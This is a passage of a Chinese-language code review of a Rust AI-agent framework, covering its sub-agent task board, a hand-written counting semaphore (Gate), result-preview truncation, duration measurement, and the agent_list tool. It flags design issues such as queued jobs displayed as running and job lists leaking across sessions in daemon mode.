<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">jobs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">jobs</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">job</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">jobs</span><span class="p">.</span><span class="n">iter_mut</span><span class="p">().</span><span class="n">find</span><span class="p">(</span><span class="o">|</span><span class="n">j</span><span class="o">|</span><span class="w"> </span><span class="n">j</span><span class="p">.</span><span class="n">id</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">id</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">job</span><span class="p">.</span><span class="n">status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">status</span><span class="p">;</span>
<span class="w">        </span><span class="n">job</span><span class="p">.</span><span class="n">duration</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">job</span><span class="p">.</span><span class="n">started</span><span class="p">.</span><span class="n">elapsed</span><span class="p">());</span>
<span class="w">        </span><span class="n">job</span><span class="p">.</span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">preview</span><span class="p">(</span><span class="n">result</span><span class="p">);</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


「找不到就静默返回」在这里是安全的，因为 id 是从 <code>start</code> 拿到的、不可能凭空出现。但如果将来加了板子的清理逻辑，这个静默就会变成「任务永远停在 running」——所以「只追加」和「静默 finish」是一对必须同时成立的设计。改一个就得改另一个。
<h2>任务 id 是 agent-N：单调递增与跨会话累积</h2>

id 的生成是「先拿 seq 锁、自增、拼字符串、再拿 jobs 锁、push」：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">start</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">String</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">seq</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">seq</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">    </span><span class="o">*</span><span class="n">seq</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;agent-{seq}&quot;</span><span class="p">);</span>
<span class="w">    </span><span class="bp">self</span><span class="p">.</span><span class="n">jobs</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">().</span><span class="n">push</span><span class="p">(</span><span class="n">Job</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">id</span><span class="p">:</span><span class="w"> </span><span class="nc">id</span><span class="p">.</span><span class="n">clone</span><span class="p">(),</span><span class="w"> </span><span class="cm">/* ... */</span><span class="w"> </span><span class="p">});</span>
<span class="w">    </span><span class="n">id</span>
<span class="p">}</span>
</code></pre></div>


先 seq 后 jobs 的锁顺序是一致的，没有反向获取，所以不存在死锁。代价是这两个锁可以合并成一个（用一个 <code>Mutex&lt;BoardInner&gt;</code> 同时装 <code>jobs</code> 和 <code>seq</code>），但拆开的好处是 <code>list()</code> 只锁 <code>jobs</code>，不需要等 seq 锁——在读多写少的场景下这是划算的。

id 的可读性值得一提：<code>agent-1</code>、<code>agent-2</code>。它比 UUID 更好用（人能读、能口头引用、能排序），代价是它只在一个 <code>Board</code> 实例内唯一。

这个「只在一个实例内唯一」在多体下有个真实的后果，因为守护进程模式是<strong>一个 Agent 服务所有会话</strong>：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">replace_messages</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">msgs</span><span class="p">:</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Value</span><span class="o">&gt;</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Vec</span><span class="o">&lt;</span><span class="n">Value</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">std</span><span class="p">::</span><span class="n">mem</span><span class="p">::</span><span class="n">replace</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">messages</span><span class="p">,</span><span class="w"> </span><span class="n">msgs</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div>


<code>replace_messages</code> 只换 <code>messages</code>。<code>Ctx</code> 里的 <code>board</code>、<code>todos</code>、<code>tasks</code> 都不换。所以：
<ul>
<li>会话 A 起了三个子代理，id 是 <code>agent-1..3</code></li>
<li>会话 B 接到请求，第一个子代理的 id 是 <code>agent-4</code></li>
<li>会话 B 的模型调 <code>agent_list</code>，看到的是六个任务，包括 A 的</li>
</ul>

而 <code>agent_list</code> 工具的描述写的是「List the sub-agent delegations started in this session」——<strong>这句话在守护进程模式下是不成立的</strong>。这是本文第三重要的发现：一个观测工具的语义在两种运行模式下不同，而它的描述只描述了其中一种。

修法有两种：
<div class="codehilite"><pre><span></span><code><span class="c1">// 方案一：给 Job 加 session 字段，agent_list 只返回当前会话的</span>
<span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Job</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="cm">/* ... */</span><span class="w"> </span><span class="k">pub</span><span class="w"> </span><span class="n">session</span><span class="p">:</span><span class="w"> </span><span class="nb">String</span><span class="w"> </span><span class="p">}</span>

<span class="c1">// 方案二：会话切换时清空板子</span>
<span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">clear</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">jobs</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">().</span><span class="n">clear</span><span class="p">();</span><span class="w"> </span><span class="p">}</span>
</code></pre></div>


方案一保留了「跨会话审计」的可能性，方案二更简单但会丢掉历史。对一个把任务板当观测工具（而不是审计日志）的实现，方案一更合适。
<h2>结果预览 500 字符：板上是摘录，模型手里是全量</h2>

<code>RESULT_PREVIEW = 500</code>，预览的做法是先把换行压成空格、再按字符边界截断、最后补一个省略号：
<div class="codehilite"><pre><span></span><code><span class="k">const</span><span class="w"> </span><span class="n">RESULT_PREVIEW</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">500</span><span class="p">;</span>

<span class="k">fn</span><span class="w"> </span><span class="nf">preview</span><span class="p">(</span><span class="n">text</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">String</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">flat</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">text</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="sc">&#39;\n&#39;</span><span class="p">,</span><span class="w"> </span><span class="s">&quot; &quot;</span><span class="p">);</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="n">flat</span><span class="p">.</span><span class="n">len</span><span class="p">()</span><span class="w"> </span><span class="o">&lt;=</span><span class="w"> </span><span class="n">RESULT_PREVIEW</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">flat</span><span class="p">;</span><span class="w"> </span><span class="p">}</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">end</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">RESULT_PREVIEW</span><span class="p">;</span>
<span class="w">    </span><span class="k">while</span><span class="w"> </span><span class="n">end</span><span class="w"> </span><span class="o">&gt;</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">&amp;&amp;</span><span class="w"> </span><span class="o">!</span><span class="n">flat</span><span class="p">.</span><span class="n">is_char_boundary</span><span class="p">(</span><span class="n">end</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">end</span><span class="w"> </span><span class="o">-=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span><span class="w"> </span><span class="p">}</span>
<span class="w">    </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;{}…&quot;</span><span class="p">,</span><span class="w"> </span><span class="o">&amp;</span><span class="n">flat</span><span class="p">[</span><span class="o">..</span><span class="n">end</span><span class="p">])</span>
<span class="p">}</span>
</code></pre></div>


三个细节都对：按字节比较但按字符边界回退（中文不会切碎）、换行替换让每行预览天然是一行（<code>render_agent_board</code> 不用再做处理）、超长才补省略号。

但要注意一个不对称：<strong>板子上是 500 字符的摘录，模型手里是完整的工具返回值。</strong> <code>finish_ok</code> 存的是 <code>preview(result)</code>，而 <code>run_subagent</code> 返回给 <code>run_tool</code> 的是原始 <code>result</code>：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">run_subagent_inner</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">);</span>
<span class="k">match</span><span class="w"> </span><span class="o">&amp;</span><span class="n">result</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="nb">Ok</span><span class="p">(</span><span class="n">text</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">finish_ok</span><span class="p">(</span><span class="o">&amp;</span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="n">text</span><span class="p">),</span>
<span class="w">    </span><span class="nb">Err</span><span class="p">(</span><span class="n">err</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">finish_err</span><span class="p">(</span><span class="o">&amp;</span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="n">err</span><span class="p">),</span>
<span class="p">}</span>
<span class="n">result</span>
</code></pre></div>


这个不对称是对的——模型需要完整结果，板子只需要可读摘要。但它意味着<strong>板子不是审计日志</strong>：想知道子代理到底说了什么，得回看会话历史，而会话历史会被 <code>compact()</code> 压缩掉。03 讲的「压缩是不可逆的」在这里又出现一次：压缩之后，一个已完成子代理的完整产出可能只剩下一句话的摘要，而板子上只有前 500 字符。

还有一个更细的问题：<code>preview</code> 的长度是 500 <strong>字节</strong>还是 500 字符？看代码，<code>flat.len()</code> 是字节长度，<code>is_char_boundary(end)</code> 也是字节下标——所以是 500 字节。中文环境下 500 字节只有约 166 个汉字。命名里那个 <code>PREVIEW</code> 没有标明单位，和 04 里 <code>clamp</code> 注释写 chars 实为字节是同一类问题。
<h2>duration 测的是哪一段时间</h2>

<code>duration</code> 在 <code>finish</code> 里算：
<div class="codehilite"><pre><span></span><code><span class="n">job</span><span class="p">.</span><span class="n">duration</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">job</span><span class="p">.</span><span class="n">started</span><span class="p">.</span><span class="n">elapsed</span><span class="p">());</span>
</code></pre></div>


<code>started</code> 是 <code>Instant::now()</code>，在 <code>start</code> 里赋值。而 <code>start</code> 发生在 <code>acquire</code> 之前：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">start</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">);</span>
<span class="kd">let</span><span class="w"> </span><span class="n">_permit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">gate</span><span class="p">.</span><span class="n">acquire</span><span class="p">();</span>
<span class="kd">let</span><span class="w"> </span><span class="n">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">run_subagent_inner</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">);</span>
</code></pre></div>


所以 <code>duration</code> 里包含：等待槽位的时间 + 实际执行的时间。这又是那个「登记在拿许可之前」的设计的第二个后果（第一个是状态显示问题，下一节讲）。

对观测来说，这个口径是错的。用户看到 <code>agent-7 [done] reviewer (12.3s)</code>，想知道的是「审查花了 12.3 秒」，实际含义是「从父代理决定派发到审查结束一共 12.3 秒」，其中可能有 8 秒在排队。

正确的做法是记两个时间点——<code>queued_at</code> 和 <code>started_at</code>——或者干脆在 <code>acquire</code> 之后才登记：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">_permit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">gate</span><span class="p">.</span><span class="n">acquire</span><span class="p">();</span>
<span class="kd">let</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">start</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">);</span><span class="w">  </span><span class="c1">// 拿到槽位才算开始</span>
</code></pre></div>


但这样做的代价是：排队中的任务在板子上不可见，用户看到的是「什么都没有」，然后突然出现四个任务。所以更完整的修法是保留登记位置，同时把状态拆成 <code>Queued</code> 和 <code>Running</code>：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">enum</span><span class="w"> </span><span class="nc">JobStatus</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">Queued</span><span class="p">,</span><span class="w"> </span><span class="n">Running</span><span class="p">,</span><span class="w"> </span><span class="n">Done</span><span class="p">,</span><span class="w"> </span><span class="n">Failed</span><span class="w"> </span><span class="p">}</span>
</code></pre></div>


这需要 <code>Gate</code> 在拿到槽位后回调板子改状态，或者让 <code>acquire</code> 返回一个「我拿到槽位了」的时刻。改动不大，但它把「排队」这个真实存在的状态显式化了。
<h2>门：一个手写计数信号量的四个细节</h2>

<code>Gate</code> 只有三十行，但每一行都有取舍：
<div class="codehilite"><pre><span></span><code><span class="k">pub</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">Gate</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">active</span><span class="p">:</span><span class="w"> </span><span class="nc">Mutex</span><span class="o">&lt;</span><span class="kt">usize</span><span class="o">&gt;</span><span class="p">,</span>
<span class="w">    </span><span class="n">cv</span><span class="p">:</span><span class="w"> </span><span class="nc">Condvar</span><span class="p">,</span>
<span class="w">    </span><span class="n">max</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="p">,</span>
<span class="p">}</span>

<span class="k">impl</span><span class="w"> </span><span class="n">Gate</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">new</span><span class="p">(</span><span class="n">max</span><span class="p">:</span><span class="w"> </span><span class="kt">usize</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nc">Self</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="n">Gate</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">active</span><span class="p">:</span><span class="w"> </span><span class="nc">Mutex</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span><span class="w"> </span><span class="n">cv</span><span class="p">:</span><span class="w"> </span><span class="nc">Condvar</span><span class="p">::</span><span class="n">new</span><span class="p">(),</span><span class="w"> </span><span class="n">max</span><span class="p">:</span><span class="w"> </span><span class="nc">max</span><span class="p">.</span><span class="n">max</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>

<span class="w">    </span><span class="k">pub</span><span class="w"> </span><span class="k">fn</span><span class="w"> </span><span class="nf">acquire</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nc">GateGuard</span><span class="o">&lt;&#39;</span><span class="nb">_</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">active</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">active</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">        </span><span class="k">while</span><span class="w"> </span><span class="o">*</span><span class="n">active</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">max</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="n">active</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">cv</span><span class="p">.</span><span class="n">wait</span><span class="p">(</span><span class="n">active</span><span class="p">).</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">        </span><span class="o">*</span><span class="n">active</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w">        </span><span class="n">GateGuard</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">gate</span><span class="p">:</span><span class="w"> </span><span class="nc">self</span><span class="w"> </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>

<span class="k">impl</span><span class="w"> </span><span class="nb">Drop</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">GateGuard</span><span class="o">&lt;&#39;</span><span class="nb">_</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">fn</span><span class="w"> </span><span class="nf">drop</span><span class="p">(</span><span class="o">&amp;</span><span class="k">mut</span><span class="w"> </span><span class="bp">self</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">active</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">gate</span><span class="p">.</span><span class="n">active</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w">        </span><span class="o">*</span><span class="n">active</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">active</span><span class="p">.</span><span class="n">saturating_sub</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="w">        </span><span class="bp">self</span><span class="p">.</span><span class="n">gate</span><span class="p">.</span><span class="n">cv</span><span class="p">.</span><span class="n">notify_one</span><span class="p">();</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>


<strong>细节一：<code>max.max(1)</code>。</strong> 一个 0 的配额会让所有 <code>acquire</code> 永久阻塞。用 <code>max(1)</code> 兜住，是「宁可放一个过去，也不能整体卡死」的选择。它对，但只在「配额是从配置来的」这个前提下对——如果配额将来从环境变量或服务端下发，<code>max(1)</code> 会把一个配置错误静默转成一个比预期宽松的策略，而不是报错。更明确的做法是让 <code>new</code> 返回 <code>Result</code>，0 直接拒绝。

<strong>细节二：<code>while</code> 而不是 <code>if</code>。</strong> 这是条件变量的标准要求：被唤醒之后条件可能已经不成立（另一个线程抢先拿走了槽位）。用 <code>if</code> 会超发。

<strong>细节三：<code>notify_one</code> 而不是 <code>notify_all</code>。</strong> 一次释放腾出一个槽位，唤醒一个等待者就够了。用 <code>notify_all</code> 会让所有等待者醒来抢锁、然后除一个以外全部重新睡下——惊群。

<strong>细节四：计数放在 <code>GateGuard</code> 的 <code>Drop</code> 里。</strong> 这是 RAII：即使 <code>run_subagent_inner</code> 提前返回（<code>?</code> 传播错误），槽位也会释放。05 里讲 <code>InterruptGuard</code> 时提过同一个模式，这是这套代码里第二次出现，说明作者对这件事有意识。

但 <code>notify_one</code> 和 <code>saturating_sub</code> 组合起来有一个隐含假设：<strong>没有降级路径</strong>。<code>saturating_sub</code> 让计数永远不为负，代价是「多释放一次」不会报错，只会静默地少放一个槽位过去。如果哪天加了一条不走 <code>GateGuard</code> 的释放路径（比如手动 <code>release()</code>），计数就会和真实并发数脱钩，而且没有任何断言会发现。

测试覆盖得不错：
<div class="codehilite"><pre><span></span><code><span class="cp">#[test]</span>
<span class="k">fn</span><span class="w"> </span><span class="nf">gate_caps_concurrency</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">gate</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Arc</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="n">Gate</span><span class="p">::</span><span class="n">new</span><span class="p">(</span><span class="mi">2</span><span class="p">));</span>
<span class="w">    </span><span class="c1">// 6 个线程抢 2 个槽位，记录峰值</span>
<span class="w">    </span><span class="fm">assert!</span><span class="p">(</span><span class="n">peak</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="n">Ordering</span><span class="p">::</span><span class="n">SeqCst</span><span class="p">)</span><span class="w"> </span><span class="o">&lt;=</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;peak was {}&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">peak</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="n">Ordering</span><span class="p">::</span><span class="n">SeqCst</span><span class="p">));</span>
<span class="w">    </span><span class="fm">assert_eq!</span><span class="p">(</span><span class="o">*</span><span class="n">gate</span><span class="p">.</span><span class="n">active</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">(),</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="s">&quot;all permits released&quot;</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>


第二句断言是关键——它同时验证了「不超过上限」和「全部归还」。但 <code>gate.active</code> 是私有字段，测试在同一个模块里所以能访问；这个断言值得升级成一个公开的 <code>available()</code> 方法，好让外部也能检查「是否有泄漏」。
<h2>排队也显示 running：登记发生在 acquire 之前</h2>

把这两个函数并排看：
<div class="codehilite"><pre><span></span><code><span class="k">fn</span><span class="w"> </span><span class="nf">run_subagent</span><span class="p">(</span><span class="o">&amp;</span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">name</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">:</span><span class="w"> </span><span class="kp">&amp;</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">-&gt;</span><span class="w"> </span><span class="nb">Result</span><span class="o">&lt;</span><span class="nb">String</span><span class="p">,</span><span class="w"> </span><span class="nb">String</span><span class="o">&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">board</span><span class="p">.</span><span class="n">start</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">task</span><span class="p">);</span><span class="w">   </span><span class="c1">// 状态 = Running</span>
<span class="w">    </span><span class="kd">let</span><span class="w"> </span><span class="n">_permit</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">ctx</span><span class="p">.</span><span class="n">gate</span><span class="p">.</span><span class="n">acquire</span><span class="p">();</span><span class="w">       </span><span class="c1">// 可能在这里等很久</span>
<span class="w">    </span><span class="c1">// ...</span>
<span class="p">}</span>
</code></pre></div>


<code>start</code> 把状态写成 <code>Running</code>，然后才可能阻塞在 <code>acquire</code>。所以第 5 个任务会以 <code>running</code> 的状态出现在板上，持续到某个槽位空出来。

<code>agent_list</code> 的渲染是直白的：
<div class="codehilite"><pre><span></span><code><span class="n">out</span><span class="p">.</span><span class="n">push_str</span><span class="p">(</span><span class="o">&amp;</span><span class="fm">format!</span><span class="p">(</span>
<span class="w">    </span><span class="s">&quot;- {} [{}] {} ({}) — {}</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="n">job</span><span class="p">.</span><span class="n">id</span><span class="p">,</span><span class="w"> </span><span class="n">job</span><span class="p">.</span><span class="n">status</span><span class="p">.</span><span class="n">as_str</span><span class="p">(),</span><span class="w"> </span><span class="n">job</span><span class="p">.</span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">duration</span><span class="p">,</span><span class="w"> </span><span class="n">job</span><span class="p">.</span><span class="n">task</span>
<span class="p">));</span>
</code></pre></div>


<code>duration</code> 在未完成时显示 <code>…</code>：
<div class="codehilite"><pre><span></span><code><span class="kd">let</span><span class="w"> </span><span class="n">duration</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">match</span><span class="w"> </span><span class="n">job</span><span class="p">.</span><span class="n">duration</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="nb">Some</span><span class="p">(</span><span class="n">d</span><span class="p">)</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="fm">format!</span><span class="p">(</span><span class="s">&quot;{:.1}s&quot;</span><span class="p">,</span><span class="w"> </span><span class="n">d</span><span class="p">.</span><span class="n">as_secs_f64</span><span class="p">()),</span>
<span class="w">    </span><span class="nb">None</span><span class="w"> </span><span class="o">=&gt;</span><span class="w"> </span><span class="s">&quot;…&quot;</span><span class="p">.</span><span class="n">to_string</span><span class="p">(),</span>
<span class="p">};</span>
</code></pre></div>


所以一个排队中的任务显示成 <code>- agent-5 [running] verifier (…) — run the tests</code>。用户体验上是「五个任务在跑，其实只有四个」，而在一个 4 并发、每个任务跑两分钟的场景里，这个误报能持续几分钟。

这个问题的严重性取决于谁来读板子。如果只有用户读，它是显示瑕疵；如果模型读（它有 <code>agent_list</code> 工具），它会影响决策——模型可能因为「五个都在跑」而放弃派发更多任务，实际还有空位；也可能反过来，因为看到任务在跑而重复派发。

修法就是上一节说的：<code>Queued</code> 状态 + 拿到槽位后改状态。或者更简单——把 <code>start</code> 移到 <code>acquire</code> 之后，接受「排队不可见」。
<h2>门不检查中断：Ctrl-C 卡在等槽位</h2>

<code>Gate::acquire</code> 是一个无超时的阻塞等待：
<div class="codehilite"><pre><span></span><code><span class="k">while</span><span class="w"> </span><span class="o">*</span><span class="n">active</span><span class="w"> </span><span class="o">&gt;=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">max</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="n">active</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="bp">self</span><span class="p">.</span><span class="n">cv</span><span class="p">.</span><span class="n">wait</span><span class="p">(</span><span class="n">active</span><span class="p">).</span><span class="n">unwrap</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div>


它没有任何退出条件，除了「有槽位空出来」。这意味着两件事：

<strong>第一，中断标志在这里不起作用。</strong> 父代理的中断检查只在步骤边界：
<div class="codehilite"><pre><span></span><code><span class="k">for</span><span class="w"> </span><span class="n">_</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="mi">0</span><span class="o">..</span><span class="bp">self</span><span class="p">.</span><span class="n">cfg</span><span class="p">.</span><span class="n">max_iterations</span><span class="w"> </span><span class="p">{</span>
